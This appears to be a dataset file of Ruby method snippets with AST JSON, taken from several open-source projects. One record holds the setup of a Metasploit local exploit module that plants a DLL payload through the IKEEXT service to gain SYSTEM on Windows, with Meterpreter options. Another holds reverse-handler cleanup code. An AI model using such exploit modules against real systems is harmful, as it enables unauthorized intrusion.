{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/error_tracking/sentry_client.rb","start_line":53,"raw_source":"def api_urls\n      @api_urls ||= SentryClient::ApiUrls.new(@url)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"api_urls\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@api_urls\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SentryClient\"]},\"ApiUrls\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@url\"]}]}]}]}","id":"29550cd6-4398-42ec-9ae9-59797863c490"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/custom_field_injector.rb","start_line":97,"raw_source":"def new_representer_class_with(representer)\n            injector = new(representer)\n\n            yield injector\n\n            injector.modified_representer_class\n          end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new_representer_class_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"representer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"injector\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"representer\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"injector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"injector\"]},\"modified_representer_class\"]}]}]}","id":"cd382fe4-0a6e-42c1-be15-77501a82ab00"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/ikeext_service.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',\n        'Description' => %q{\n          This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'\n          (IKEEXT) service which runs as SYSTEM, and starts automatically in default\n          installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload.\n        },\n        'References' => [\n          ['URL', 'https://www.htbridge.com/advisory/HTB23108'],\n          ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']\n        ],\n        'DisclosureDate' => '2012-10-09',\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Ben Campbell'\n        ],\n        'Platform' => [ 'win'],\n        'Targets' => [\n          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],\n          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]\n        ],\n        'SessionTypes' => [ \"meterpreter\" ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n          'WfsDelay' => 5,\n          'ReverseConnectRetries' => 255\n        },\n        'DefaultTarget' => 0,\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_fs_mkdir\n            ]\n          }\n        },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptString.new(\"DIR\", [ false, \"Specify a directory to plant the DLL.\", \"\"])\n    ])\n    @service_name = 'IKEEXT'\n    @load_lib_search_path = [\n      '%SystemRoot%\\\\System32',\n      '%SystemRoot%\\\\System',\n      '%SystemRoot%'\n    ]\n    @non_existant_dirs = []\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'\\n\"]},{\"type\":\"str\",\"children\":[\"          (IKEEXT) service which runs as SYSTEM, and starts automatically in default\\n\"]},{\"type\":\"str\",\"children\":[\"          installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.htbridge.com/advisory/HTB23108\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-10-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ben Campbell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ReverseConnectRetries\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_fs_mkdir\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DIR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Specify a directory to plant the DLL.\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@service_name\",{\"type\":\"str\",\"children\":[\"IKEEXT\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@load_lib_search_path\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"%SystemRoot%\\\\System32\"]},{\"type\":\"str\",\"children\":[\"%SystemRoot%\\\\System\"]},{\"type\":\"str\",\"children\":[\"%SystemRoot%\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@non_existant_dirs\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"ccd0cdca-3990-4fae-a761-278d3342f083"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/event_router.rb","start_line":143,"raw_source":"def initialize\n        super\n        @map = {}\n        @keys = []\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@map\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@keys\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"a363a711-cc54-46d7-99f8-23b6b078e8b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250422144359_drop_ci_runners_archived.rb","start_line":83,"raw_source":"def up\n    FOREIGN_KEY_CHECKS.each do |check|\n      with_lock_retries(raise_on_exhaustion: true) do\n        remove_foreign_key_if_exists(check[:table_name], name: check[:constraint_name])\n      end\n    end\n\n    indexes = indexes_by_definition_for_table(ARCHIVED_TABLE_NAME, schema_name: connection.current_schema)\n    indexes = fix_index_names(indexes)\n\n    # rubocop:disable Migration/WithLockRetriesDisallowedMethod -- these are just helpers over allowed methods\n    with_lock_retries do\n      # The archive table will be deleted, not TABLE_NAME\n      drop_nonpartitioned_archive_table(TABLE_NAME) if table_exists?(ARCHIVED_TABLE_NAME)\n      rename_indexes_for_table(TABLE_NAME, indexes)\n    end\n    # rubocop:enable Migration/WithLockRetriesDisallowedMethod\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_CHECKS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"check\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_exhaustion\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"table_name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"constraint_name\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"indexes\",{\"type\":\"send\",\"children\":[null,\"indexes_by_definition_for_table\",{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schema_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"current_schema\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"indexes\",{\"type\":\"send\",\"children\":[null,\"fix_index_names\",{\"type\":\"lvar\",\"children\":[\"indexes\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_exists?\",{\"type\":\"const\",\"children\":[null,\"ARCHIVED_TABLE_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_nonpartitioned_archive_table\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"rename_indexes_for_table\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"lvar\",\"children\":[\"indexes\"]}]}]}]}]}]}","id":"2081e8f0-cbfd-41f0-b674-a03402c758c1"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/minutes/page_head.rb","start_line":59,"raw_source":"def meeting_subtitle_date\n    format_date(meeting.start_time)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"meeting_subtitle_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"start_time\"]}]}]}","id":"04485935-d709-4a4f-bb5d-7f2c4163906e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/dot.rb","start_line":28,"raw_source":"def accept(object, collector)\n        visit object\n        collector << to_dot\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"accept\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"to_dot\"]}]}]}]}","id":"500c45c2-ceaf-43d8-a260-5b68f90bde38"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/backtrace_cleaner.rb","start_line":73,"raw_source":"def clean_frame(frame, kind = :silent)\n      frame = frame.to_s\n      @filters.each do |f|\n        frame = f.call(frame.to_s)\n      end\n\n      case kind\n      when :silent\n        frame unless @silencers.any? { |s| s.call(frame) }\n      when :noise\n        frame if @silencers.any? { |s| s.call(frame) }\n      else\n        frame\n      end\n    end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_frame\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"frame\"]},{\"type\":\"optarg\",\"children\":[\"kind\",{\"type\":\"sym\",\"children\":[\"silent\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"frame\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frame\"]},\"to_s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"frame\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frame\"]},\"to_s\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kind\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"silent\"]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@silencers\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"frame\"]}]}]},null,{\"type\":\"lvar\",\"children\":[\"frame\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"noise\"]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@silencers\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"frame\"]}]}]},{\"type\":\"lvar\",\"children\":[\"frame\"]},null]}]},{\"type\":\"lvar\",\"children\":[\"frame\"]}]}]}]}","id":"745af908-5f4c-44ba-b591-f28917013b63"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/status/snapshot_concern.rb","start_line":33,"raw_source":"def snapshot!(**)\n    build_snapshot(**).save!\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"snapshot!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_snapshot\",{\"type\":\"hash\",\"children\":[{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]},\"save!\"]}]}","id":"b569791a-7deb-42b4-b189-e19a139a43ae"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/controllers/my/time_tracking_controller.rb","start_line":45,"raw_source":"def index\n      case mode\n      when :day then load_time_entries(date)\n      when :workweek then load_time_entries(workweek)\n      when :week then load_time_entries(date.all_week)\n      when :month then load_time_entries(date.all_month)\n      end\n    end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mode\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"send\",\"children\":[null,\"load_time_entries\",{\"type\":\"send\",\"children\":[null,\"date\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"workweek\"]},{\"type\":\"send\",\"children\":[null,\"load_time_entries\",{\"type\":\"send\",\"children\":[null,\"workweek\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"send\",\"children\":[null,\"load_time_entries\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date\"]},\"all_week\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"send\",\"children\":[null,\"load_time_entries\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date\"]},\"all_month\"]}]}]},null]}]}","id":"34e59bac-a0c2-4794-8083-428120e36e17"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/thrift.rb","start_line":40,"raw_source":"def set(v)\n      self.val = v ? 1 : 0\n    end","complexity_score":2.28,"ast_json":"{\"type\":\"def\",\"children\":[\"set\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"val=\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"593a9c6b-605d-48d3-abe6-1d89cf460e3c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/app/serializers/post_voting_comment_serializer.rb","start_line":22,"raw_source":"def username\n    object.user&.username\n  end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user\"]},\"username\"]}]}","id":"a65cab06-7454-4783-8650-70cf00b3a137"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/stream_event_loop.rb","start_line":83,"raw_source":"def wakeup\n          spawn || @nio.wakeup\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wakeup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spawn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nio\"]},\"wakeup\"]}]}]}","id":"c626adff-50a4-40c8-95ab-c388dabee92b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers/wraparound_vacuum_helpers.rb","start_line":81,"raw_source":"def check_if_wraparound_in_progress(table_name)\n          WraparoundCheck.new(table_name, migration: self).execute\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_if_wraparound_in_progress\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WraparoundCheck\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"migration\"]},{\"type\":\"self\",\"children\":[]}]}]}]},\"execute\"]}]}","id":"640fa21b-1ba1-4bf9-9d69-f14521421fcb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/kubernetes_helpers.rb","start_line":275,"raw_source":"def stub_kubeclient_put_role(api_url, name, namespace: 'default')\n    WebMock.stub_request(:put, api_url + \"/apis/rbac.authorization.k8s.io/v1/namespaces/#{namespace}/roles/#{name}\")\n      .to_return(kube_response({}))\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_kubeclient_put_role\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api_url\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"namespace\",{\"type\":\"str\",\"children\":[\"default\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"put\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_url\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/apis/rbac.authorization.k8s.io/v1/namespaces/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"str\",\"children\":[\"/roles/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},\"to_return\",{\"type\":\"send\",\"children\":[null,\"kube_response\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"bae80405-7555-454a-995c-710e8aede0fc"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":210,"raw_source":"def support_in_v12_style?(feature)\n        case feature\n        when :synchronous    then false\n        when :buffered       then true\n        when :delayed_commit then false\n        when :custom_format  then true\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"support_in_v12_style?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"synchronous\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"buffered\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"delayed_commit\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_format\"]},{\"type\":\"true\",\"children\":[]}]},null]}]}","id":"8104a8a7-b1fd-4ffe-b2f4-bd2e51743e28"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/ar_condition.rb","start_line":37,"raw_source":"def add(condition)\n    if condition.is_a?(Array)\n      @conditions.first << \" AND (#{condition.first})\"\n      @conditions += condition[1..-1]\n    elsif condition.is_a?(String)\n      @conditions.first << \" AND (#{condition})\"\n    else\n      raise \"Unsupported #{condition.class} condition: #{condition}\"\n    end\n    self\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"condition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conditions\"]},\"first\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" AND (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"first\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conditions\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conditions\"]},\"first\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" AND (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" condition: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]}]}]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"cb93e96b-9fad-45d9-9825-22f92f44c48f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/reverse_sctp.rb","start_line":101,"raw_source":"def cleanup_handler\n    stop_handler\n\n    # Kill any remaining handle_connection threads that might\n    # be hanging around\n    conn_threads.each do |thr|\n      begin\n        thr.kill\n      rescue\n        nil\n      end\n    end\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stop_handler\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conn_threads\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thr\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thr\"]},\"kill\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}]}]}","id":"aed98c5f-2f94-49fe-8996-4c490ae97f3f"}
